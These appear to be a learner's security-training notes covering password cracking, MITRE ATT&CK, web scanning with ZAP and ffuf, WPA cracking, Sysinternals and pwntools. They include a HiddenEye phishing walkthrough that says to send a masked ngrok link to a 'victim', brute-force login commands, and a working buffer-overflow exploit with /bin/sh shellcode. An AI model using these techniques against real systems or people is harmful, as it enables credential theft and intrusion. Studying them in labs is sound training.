        + generating custom wordlist and using classic wordlist mode
        + using common wordlist and tell cracking tool to apply custom mangling rules
    - Create own in JtR
      * $ john hash.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt rules=<rule file name>
        + <https://www.openwall.com/john/doc/RULES.shtml>
      * Border mutation - commonly used combinations of digits and special symbols can be added at the end, beginning, or both
      * Freak mutation - letters are replaced with similarly looking special symbols
      * Case mutation - the program checks all variations of uppercase/lowercase letters for any character
      * Order mutation - character order is reversed
      * Repetition mutation - the same group of characters are repeated several times
      * Vowels mutation - vowels are omitted or capitalized
      * Strip mutation - one or several characters are removed
      * Swap mutation - some characters are swapped and change places
      * Duplicate mutation - some characters are duplicated
      * Delimiter mutation - delimiters are added between characters
    - Locate .conf file for JtR
      * locate john.conf
        + create john-local.conf in same directory

create rules there

ex. top 10k most used password list from SecLists

/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

generate simple border mutation by appending all 2 digit combinations at the end of each password

sudo nano john-local.conf

[List.Rules:THM01]

$[0-9]$[0-9]

* Custom Wordlist Generation
  + - whenever you intend on reusing the wordlist often
    - use wordlist with several tools
    - want to use a tool that supports wordlists but not mangling rules
    - find custom rule syntax of JtR too complex
  + If something is known about the password, relevant wordlists can be downloaded from wordlistctl
  + qex. if password is relevant to dogs
    - wordlistctl fetch -l dogs -d (usr/share/wordlists/misc/dogs.txt)
      * use Mentalist to generate mutations
    - load wordlist into mentalist
      * add case, substitution, append/prepend rules
      * can export John/Hashcat rules
  + CeWL
    - custom wordlist generator
      * useful in retrieving words related to a specific topic
        + cewl -d 2 -w $(pwd)/example.txt <https://example.org>

-d is depth of link level spider will follow

* + TTPassGen
    - craft wordlists from scratch
      * ex. ttpassgen --rule '[?d]{4:4:\*}' pin.txt
        + creates a wordlist containing all possible four digit values for PIN
      * ex. ttpassgen --rule '[?l]{1:3:\*}' abc.txt
        + generates a list of all lowercase character combinations of length 1-3
      * ex. ttpassgen --dictlist 'pin.txt,abc.txt' --rule '$0[-]{1}$1' combination.txt
        + create a wordlist that is a combination of several wordlists
        + will generate huge files quickly

MITRE

* ATT&CK® (Adversarial Tactics, Techniques, and Common Knowledge) Framework
* CAR (Cyber Analytics Repository) Knowledge Base
* SHIELD (sorry, not a fancy acronym) Active Defense
* AEP (ATT&CK Emulation Plans)
* APT – Advanced Persistent Threat
  + threat group or nation-state group
    - <https://www.fireeye.com/current-threats/apt-groups.html>
* TTP – Tactics, Techniques, and Procedures
  + Tactic – adversary goal or objective
  + Technique – how the goal is achieved
  + Procedure – how the technique is executed
* ATT&CK
  + globally-accessible knowledge base of adversary tactics and techniques based on real-world observations
    - address need to record common TTPs of APTs against Windows Enterprise networks
      * started with Fort Meade Experiment
      * security professionals tasked to emulate TTPs to collect data
  + <https://attack.mitre.org/>
  + Matrix For Enterprise
    - fourteen categories
      * seven stage Cyber Attack Lifecycle
        + Cyber Kill Chain

Initial Access

nine techniques

sub-techniques

dedicated pages

procedure examples

mitigations

* + MITRE ATT&CK Navigator
    - selection controls, layer controls, technique controls
* CAR Knowledge Base
  + - Cyber Analytics Repository
      * knowledgebase of analytics developed by MITRE based on ATT&CK adversary model
  + Provides description of analytics and references to ATT&CK
    - technique, sub-technique, tactics
    - pseudocode
    - EQL version of pseudo
  + Full Analytic List & CAR ATT&CK Navigator Layer
    - techniques highlighted in blue
* MITRE | SHIELD
  + Active defense knowledge base developed to capture and organize active defense and adversary engagement knowledge
    - trap and engage with an adversary active within the network
      * decoys
      * threat intelligence
    - Channel, Collect, Contain, Detect, Disrupt, Facilitate, Legitimize, Test
      * opportunities, use cases, procedures
      * ATT&CK Techniques
        + Detect
* ATT&CK Emulation Plans
  + MITRE ENGENUITY, CTID, Adversary Emulation Library, ATT&CK Emulation Plans
  + CITD
    - conduct research on cyber threats and TTPs
  + Adversary Emulation Library & ATT&CK Emulations Plans
    - public library for blue/red teamers
    - APT3, APT29, FIN6
      * step-bystep guide on how to mimic the specific threat group
* ATT&CK and Threat Intelligence
  + information concerning TTPs attributed to adversary
    - make better decisions regarding defensive strategy
    - Crowdstrike, other vendors, inside work
  + ATT&CK Matrix
* Conclusion
  + Resources are useful for Red and Blue Teaming = Purple Teaming

Web Scanning

* Nikto
  + - -h – set target host
    - -nossl – disable secure transport
    - -ssl – force secure transport
    - -p – specific port scan
    - -dbcheck – verify vulnerability database is updated and working
    - -mutate – guess and test both files and usernames within directories
    - 3 – Apache specific
    - -id <username>:<password> - credentialed check
    - -until – limits scan to end at a certain time
    - -list-plugins – list all plugins available
    - -Plugins outdated – use plugin checks to find outdated software on target
    - -Plugins test – run a series of standard tests against the target host
  + Check for vulnerable server versions
    - directories
* OWASP Zap Scanner
  + Completely Open Source and Free
    - Good for Web Application Testing
    - Automated Web Application Scan
    - Web Spidering
    - Unthrottled Intruder
  + set URL to Attack
    - robots.txt
    - navigate in URL
      * “/” is root folder
  + Traditional spider
    - passive scan that enumerates links and directories of the website
      * builds a website index without brute-forcing
      * quieter
        + not as comprehensive
  + Ajax Spider
    - integrates ZAP with Ajax rich crawler sites called Crawljax
      * used with HTMLUnit
        + sudo apt install libjenkins-htmlunit-core-js-java

select HtmlUnity from the Ajax Spider Dropdown

* Manual ZAP Scanning
  + using a proxy
    - Tools > Options > Local Proxies
      * 127.0.0.1 8080
    - Dynamic SSL Certificates
      * Save
        + Firefox Certificates

Import

Both Options > OK

* + - * + Proxy

Manual

127.0.0.1 8080

Also use this proxy for FTP and HTTPS

* Scanning an Authenticated Web Application
  + Pass authentication token into ZAP in order to scan authenticated webpages
    - Inspect Element
      * Storage > PHPSESSION Cookie
  + In ZAP
    - HTTP Sessions tab with new tab button
      * set authenticated session as active (right click)
* Brute-Force Directories
  + - use wordlist attack and directory brute-force through ZAP (similar to gobuster)
    - Tools > Options > Forced Browse
      * Add Custom Forced Browse File
  + Right-click website > Attack > Forced Browse Site
* Brute-Force Web Login
  + - brute-force a form to get credentials
    - navigate to Brute Force page on DVWA
      * attempt login
    - vulnerabilities folder under Sites
      * GET:brute(Login,password,username)
        + right-click > Attack > Fuzz

highlight password attempted and add wordlist

run fuzzer

* + - * + sort State tab to Reflected first
* ZAP Extensions
  + Python Scripting
  + Community Scripts
    - Tools > Options > Passive Scanner > Scan Messages Only in Scope
  + Scripts
    - Hunt.py
      * right-click
        + enable and save
* Resources
  + <https://www.zaproxy.org/docs/desktop/ui/>
  + <https://groups.google.com/forum/#!forum/zaproxy-users>
  + <https://www.alldaydevops.com/zap-in-ten>

Wi-Fi Hacking 101

* An Intro to WPA
  + - SSID – network name seen when trying to connect
    - ESSID – an SSID that may apply to multiple access points
    - BSSID – access point MAC address
    - WPA2-PSK – wifi networks that you can connect to by providing a password that is the same for everyone
    - WPA2-EAP – wifi networks that you can authenticate to by providing a username and password, sent to RADIUS
    - RADIUS – server for authenticating clients
  + Core of WPA(2) authentication is the 4-way handshake
    - most home wifi networks use WPA(2) personal
      * if log in is required and it isn’t WEP, its WPA(2) personal
        + username and password = WPA2-EAP
      * can be brute forced
    - keys for WPA are derived from both the ESSID and password for the network
      * ESSID acts as a salt – making dictionary attacks more difficult
* Capturing Packets to Attack
  + Aircrack-ng suite
    - * aircrack-ng
      * airdecap-ng
      * airmon-ng
      * aireplay-ng
      * airodump-ng
      * airtun-ng
      * packetforge-ng
      * airbase-ng
      * airdecloak-ng
      * airolib-ng
      * airserv-ng
      * buddy-ng
      * ivstools
      * easside-ng
      * tkiptun-ng
      * wesside-ng
    - aircrack-ng, airodump-ng, airmon-ng to attack WPA networks
  + put interface wlan0 into monitor mode with Aircrack
    - airmon-ng start wlan0
    - new interface name
      * wlan0mon
  + If other processes are using network adaptor
    - airmon-ng check kill
  + To create a capture
    - airodump-ng
  + To set BSSID to monitor
    - - -bssid
  + To set channel
    - - -channel
  + To capture packets to a file
    - -w
* Aircrack-ng – Cracking
  + To crack password
    - use aircrack or create hashcat file
  + to specify a BSSID attack
    - -b
  + To specify wordlist use
    - -w
  + To create a HCCAPX in order to use hashcat to crack the password
    - -j

HiddenEye – Phishing Tool

* CLONE
  + git clone https://gitlab.com/an0nud4y/HiddenEye.git
  + RUNNING (In Linux)
  + chmod 777 HiddenEye
  + sudo apt install python3-pip
  + cd HiddenEye
  + sudo pip3 install -r requirements.txt
  + sudo pip3 install requests
  + python3 HiddenEye.py
    - OR
  + ./HiddenEye.py
    - LOCALTUNNEL = N
    - Y
* Choose Site
  + Keylogger
  + Fake CloudFlare page
  + Receive Data
  + URL Redirect
  + Custom Port
    - 8080
  + Server Selection
    - Ngrok
  + Copy and Send NGROK URL to victim
* Masking Link
  + Copy NGROK Link
  + Navigate to <https://bitly.com/>
    - short URL
    - Copy new link and send to victim

Sublist3r

* Introduction
  + python script that allows quick and easy recon against a target
    - discover various subdomains associated with the websites/domains in scope
    - <https://github.com/aboul3la/Sublist3r>
      * /opt/Sublist3r
      * sudo python3 sublist3r.py
* Switchboard
  + - -d – set target domain
    - -e – sets engine used for search
    - -o – save output to a file
    - -t – designate use and number of threads
    - -b – enable bruteforcing of domains
  + ex. python3 sublist3r.py -d nbc.com -o sub-output-nbc.txt
* Scanner
  + look for admin pages, email domains, domains under development (dev-www), help desk portals, single sign on

SysInternals

* Suite of 70 different Windows-based Tools
  + - File and Disk Utilities
    - Networking Utilities
    - Process Utilities
    - Security Utilities
    - System Information
    - Miscellaneous
  + Sysinternals Utilities Index
    - <https://docs.microsoft.com/en-us/sysinternals/downloads/>
      * https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
    - <https://live.sysinternals.com/>
  + Download and extract
    - add the folder path to environment variables to launch tools via CLI
      * Environment Variables can be edited from System Properties
        + CLI > sysdm.cpl

click on Advanced > Environment Variables > System Variables > Path (Edit)

New 🡪 <Folder Path>

* + - Powershell Module
      * Download-SysInternalsTools C:\Tools\Sysint
* Using Sysinternals Live
  + Need WebClient
  + Powershell
    - Install-WindowsFeature WebDAV-Redirector -Restart
      * verify after reboot of server
        + Get-WindowsFeature WebDAV-Redirector | Format-Table -Autosize
    - get-service webclient
    - start-service webclient
    - get-service webclient
  + Network and Sharing Center
    - Network Discovery
    - Powershell
      * C:\WINDOWS\system32> control.exe /name Microsoft.NetworkAndSharingCenter
        + click on Change Advanced Sharing Settings

Turn On Network Discovery

* + enter a tool’s Sysinternals Live path into Windows Explorer or a command prompt
    - live.sysinternals.com/<toolname>
    - [\\live.sysinternals.com\tools\<toolname](file:///\\live.sysinternals.com\tools\%3ctoolname)>.”
      * ex. [\\live.sysinternals.com\tools\procmon.exe](file:///\\live.sysinternals.com\tools\procmon.exe)
* File and Disk Utilities
  + Sigcheck
    - CLI utility that shows file version number, timestamp information, and digital signature details (including certificate chains)
    - Check file status on VirusTotal
    - Use Case:
      * check for unsigned files in C:\Windows\System32
    - Command
      * sigcheck -u -e C:\Windows\System32
        + -u – show files are unknown to VirusTotal or non-zero detection
        + -e – scan executable images only
  + Streams
    - view Alternate Data Streams for files
      * malware writers have used ADS to hide data in an endpoint
      * not all uses are malicious
    - ex. :ads.txt:$DATA 26
    - open with notepad file.txt:ads
  + SDelete
    - CLI utility that allows user to delete one or more files and/or directories, or to cleanse the free space on a logical disk
    - implements DOD 5220.22-M sanitization protocol
    - used by adversaries under MITRE T1485 (Data Destruction) and T1070.004 (Indicator Removal on Host: File Deletion)
      * MITRE ID S0195
* Networking Utilities
  + TCPView
    - shows detailed listings of all TCP and UDP endpoints
      * including local and remote address and state of TCP connections
    - more informative and conveniently presented subset of the Netstat program
    - include Tcpvcon
    - Similar to Resource Monitor
      * resmon in CLI
    - called from Performance Tab in Task Manager
    - tcpview -accepteula
      * Show Unconnected Endpoints
      * displays processes with an established outbound connection
* Process Utilities
  + Autoruns
    - provides insight into auto-starting locations of startup monitors, programs configured to run during bootup or login
      * reports Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services
      * helps detect malicious entries created to establish persistence
    - Image Hijacks Tab
  + ProcDump
    - monitoring application for CPU spikes and generation of crash crumps during a spike that admins can use to determine cause
    - Process Explorer can do the same
    - Right-click on a process > mini or full dump
  + Process Explorer
    - Shows handles of selected processes or display DLLs and memory-mapped files that the process has loaded
    - check IPs of active services
      * Talos Reputation Center
    - Verify Signatures
    - Run at Logon and Replace Task Manager are also options
    - Color Coding
      * Purple – packed files
      * Red – process is exiting
      * Green – freshly spawned process
      * Light Blue – processes run by same account that started Process Explorer
      * Dark Blue – process is selected
      * Pink – process is a service
      * Dark Grey – process is suspended until resumption
  + Process Monitor
    - * shows real-time file system, Registry and process/thread activity
      * rich and non-destructive filtering, session IDs, usernames
      * full thread stacks with integrated symbol support, simultaneous logging
    - set filters by PID
    - filters must be used and configured properly in order to use ProcMon efficiently
      * <https://adamtheautomator.com/procmon/>
  + PsExec
    - light-weight telnet replacement
    - execute processes on other systems without installing client software
      * launching interactive command-prompts to remote systems and remote-enabling tools such as IpConfig
    - Has been used as MITRE Techniques T1570 (Lateral Tool Transfer), T1021.002 (Remote Services: SMB/Windows Admin Shares), and T1569.002 (System Services: Services Execution)
    - MITRE ID – S0029
* Security Utilities
  + Sysmon
    - remains resident across system reboots to monitor and log system activity to Windows event log
      * detailed information about process creations, network connections, and changes to file creation time
      * generates Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand intrusion/malware operation
* System Information
  + WinObj
    - 32-bit Windows NT program that uses native Windows NT API to access and display info on the NT Object Managers name space
      * Session 0 and Session 1 (OS and User respectively)
        + two csrss.exe processes running, one for each
      * Session 0
        + DosDevices
      * Session 1
        + WindowStations
    - Compare information with Process Explorer
* Miscellaneous
  + BgInfo
    - displays relevant info about Windows computer on desktop background
      * name, IP addr, service pack version, etc.
      * handy when managing multiple machines
      * useful for RDPs
  + RegJump
    - takes a registry path and makes Regedit open to that path
      * prevents need to manually navigate Registry via Registry Editor
  + Strings
    - scans file for UNICODE or ASCII strings of a default length (3+)
      * strings <file> | findstr /i <string>\*
* Conclusion
  + - ProcExp
    - ProcMon
    - ProcDump
  + <https://www.youtube.com/watch?v=A_TPZxuTzBU>
  + <https://www.youtube.com/watch?v=vW8eAqZyWeo>

SSRF, XXE, Injection

ffuf

* Introduction
  + <https://github.com/ffuf/ffuf#installation>
  + Install SecLists
    - <https://github.com/danielmiessler/SecLists#install>
* Basics
  + -h
  + -u specifies URL and -w specifies wordlist path
    - default keyword FUZZ points to where wordlist entries are injected
      * ffuf -u [http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt](http://MACHINE_IP/FUZZ%20-w%20/usr/share/seclists/Discovery/Web-Content/big.txt)
    - can also use custom keyword
      * ffuf -u http://MACHINE\_IP/NORAJ -w /usr/share/seclists/Discovery/Web-Content/big.txt:NORAJ
* Finding Pages and Directories
  + start enumerating with a generic list of files
    - ffuf -u [http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt](http://MACHINE_IP/FUZZ%20-w%20/usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt)
  + try for common extensions
    - ffuf -u [http://MACHINE\_IP/indexFUZZ -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt](http://MACHINE_IP/indexFUZZ%20-w%20/usr/share/seclists/Discovery/Web-Content/web-extensions.txt)
  + try list of generic words with extensions and apply known good extensions
    - ffuf -u http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt
  + fuzzing directories
    - ffuf -u [http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt](http://MACHINE_IP/FUZZ%20-w%20/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt)
* Using Filters
  + hiding responses with a given HTTP status code
    - -fc (filter code)
      * ffuf -u http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403
    - filter out multiple status codes (-mc)
      * ffuf -u http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -mc 200
        + returns only specified code finds
  + find all files beginning with a dot
    - ffuf -u http://MACHINE\_IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fr '/\..\*'
* Fuzzing Parameters
  + use to fuzz parameters to detect file inclusion, path disclosure, XSS, SQLi, and command injection
    - ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 39
    - $ ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fw 39
  + fuzzing values with
    - -w –
      * ffuf will read wordlist from stdout
        + generates a list of integers with a command of user choice then pipe output to ffuf

$ ruby -e '(0..255).each{|i| puts i}' | ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33

$ ruby -e 'puts (0..255).to\_a' | ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33

$ for i in {0..255}; do echo $i; done | ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33

$ seq 0 255 | ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33

$ cook '[0-255]' | ffuf -u 'http://MACHINE\_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33

* + use for wordlist-based brute-force attacks
    - ﻿$ ffuf -u http://MACHINE\_IP/sqli-labs/Less-11/ -c -w /usr/share/seclists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded'
      * use POST method (-X) and give POST data (-d) to include FUZZ keyword
      * specify customer head (-H) to set content-type header
        + curl would do this automatically
* Finding Vhosts and Subdomains
  + - ffuf -u http://FUZZ.tryhackme.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
  + some virtual hosts may exist with private subdomains
    - have to use Host HTTP header
      * $ ffuf -u http://FUZZ.google.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
      * $ ffuf -u http://google.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.google.com' -fs 0
    - use drill or dig to find IP address of root domain
      * can force with curl
        + $ curl --resolve aol.google.com:443:216.58.198.206 https://aol.google.com
        + <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="fr">
        + ...
* Proxifying ffuf Traffic
  + send traffic through a web proxy
    - $ ffuf -u http://MACHINE\_IP/ -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -x <http://127.0.0.1:8080>
  + send only matches to proxy for replaying
    - $ ffuf -u http://FUZZ.tryhackme.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -replay-proxy <http://127.0.0.1:8080>
* Options
  + ffuf -h
* Conclusion

Intro the Pwntools

* Introduction
  + Pwntools is a CTF framework and exploit development library written in python
    - rapid prototyping and development
      * <https://github.com/Gallopsled/pwntools>
  + Tools and Installation
    - <https://docs.pwntools.com/en/stable/install.html>
  + pwndbg
    - GDB plug-in that makes debugging with GDB suck less
      * <https://github.com/pwndbg/pwndbg>
* Checksec
  + checksec <file>
    - returns file architecture (such as i386)
      * RELRO
        + Relocation Read-Only

makes global offset table read-only after the linker resolves functions to it

important for ret-to-libc attack

https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro

* + - * Stack Canary
        + tokens placed after a stack to detect stack overflow
        + sit beside stack in memory and is corrupted if there is an overflow

shuts down program before overflow can cause exploit

https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/

* + - * NX
        + non-executable

if enabled, memory segments can be either writeable or executable, but not both

stops attackers from injecting own malicious code (shellcode) into program

https://en.wikipedia.org/wiki/Executable\_space\_protection

* + - * PIE
        + Position Independent Executable

loads the program dependencies into random locations

attacks that rely on memory layout are more difficult to conduct

https://access.redhat.com/blogs/766093/posts/1975793

* + - * RWX
  + <https://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/>
* Cyclic
  + programs vulnerable to buffer overflow using the gets() function
    - does not check if the user input is actually in bounds
      * <https://faq.cprogramming.com/cgi-bin/smartfaq.cgi?answer=1049157810&id=1043284351>
    - byte allocation that exceeds expected input size
    - overwrite instruction pointer (IP)
      * eip on 32-bit machines
      * rip on 64-bit machines
    - redirect eip to targeted function
      * print\_flag() for example
  + Cyclic Tool
    - overflow the stack with a pattern to see where IP is
      * use gdb
        + gdb <file>

r < <pattern file>

* + - * this will cause a segmentation fault and observe an invalid address
        + view values at each register

eip

* + - use cyclic tool to create a file that can be used to cause an overflow
      * cyclic 100
        + random pattern of 100 characters
      * cyclic 100 > pattern
        + creates a file of said characters to use in gbd
  + Pwn Scripting
    - * + from pwn import \*
        + padding = cyclic(cyclic\_find('jaaa'))
        + eip = p32(0xdeadbeef)
        + payload = padding + eip
        + print(payload)
    - run file and save output to a txt file
      * python <file.py> > attack
    - use this output file as input for targeted program to overflow
      * ./<victim\_file> < attack
* Networking
  + <https://www.geeksforgeeks.org/tcp-server-client-implementation-in-c/>
    - The struct at the beginning of the function, called targets, has two variables: buff and printflag.
    - The buff is a char array of size MAX (MAX was defined to 32), and the printflag is a volatile int.
      * These variables will be right next to each other in the stack, so if we manage to overflow the buff variable, then we can edit the printflag.
      * If you see further down in the code, if the printflag variable is equal to 0xdeadbeef (in hex) then it will send the flag
  + Networking to the Flag
    - We will need to write a script to connect to the port, receive the data, and send our payload
      * from pwn import \*
      * connect = remote(‘127.0.0.1’, 1337)
      * print(connect.recvn(18))
      * payload = “A”\*32
      * payload += p32(0xdeadbeef)
      * connect.sned(payload)
      * print(connect.recvn(34))
* Shellcraft
  + Rooting
    - Shellcode in Stack
      * writing instructions inside code and using eip to point to instruction set
        + top of stack is pointed to by SP (stack pointer) or esp in 32-bit machines

want to jump to middle of stack

achieve this by creating an offset to the esp location (exact offset is determined by trial and error)

from pwn import \*

padding = cyclic(cyclic\_find('answer\_to\_question\_4'))

eip = p32(0xffffd510+200)

* + - * + use NOPs to create a large area to point to for shellcode beginning

NOP slide/sled

exact size is determined by trial and error

nop\_slide = "\x90"\*1000

* + - * + inject breakpoint at end of NOP slide to ensure slide works

shellcode = "\xcc"

* + - * + payload

payload = padding + eip + nop\_slide + shellcode

* + - direct output of file to text file
      * pwntools shellcraft option
        + shellcraft <architecture>

shellcraft i386.linux.sh

* + - * + to keep privileges of running program

-p

* + - * We can use shellcraft to create execve shellcode with"/bin///sh" and "['sh', '-p']" as parameters. We can do this with the following command:
        + shellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f a
      * To write shellcode that is easier to use in our python exploit script, we can replace the "-f a" with "-f s", which will print our shellcode in string format
        + shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"
  + Exploit Code
    - * from pwn import \*
      * proc = process('./intro2pwnFinal')
      * proc.recvline()
      * padding = cyclic(cyclic\_find('taaa'))
      * eip = p32(0xffffd510+200)
      * nop\_slide = "\x90"\*1000
      * shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"
      * payload = padding + eip + nop\_slide + shellcode
      * proc.send(payload)
      * proc.interactive()
* Conclusion
  + <https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN>
  + <https://exploit.education/>
  + <https://github.com/guyinatuxedo/nightmare/tree/master/modules>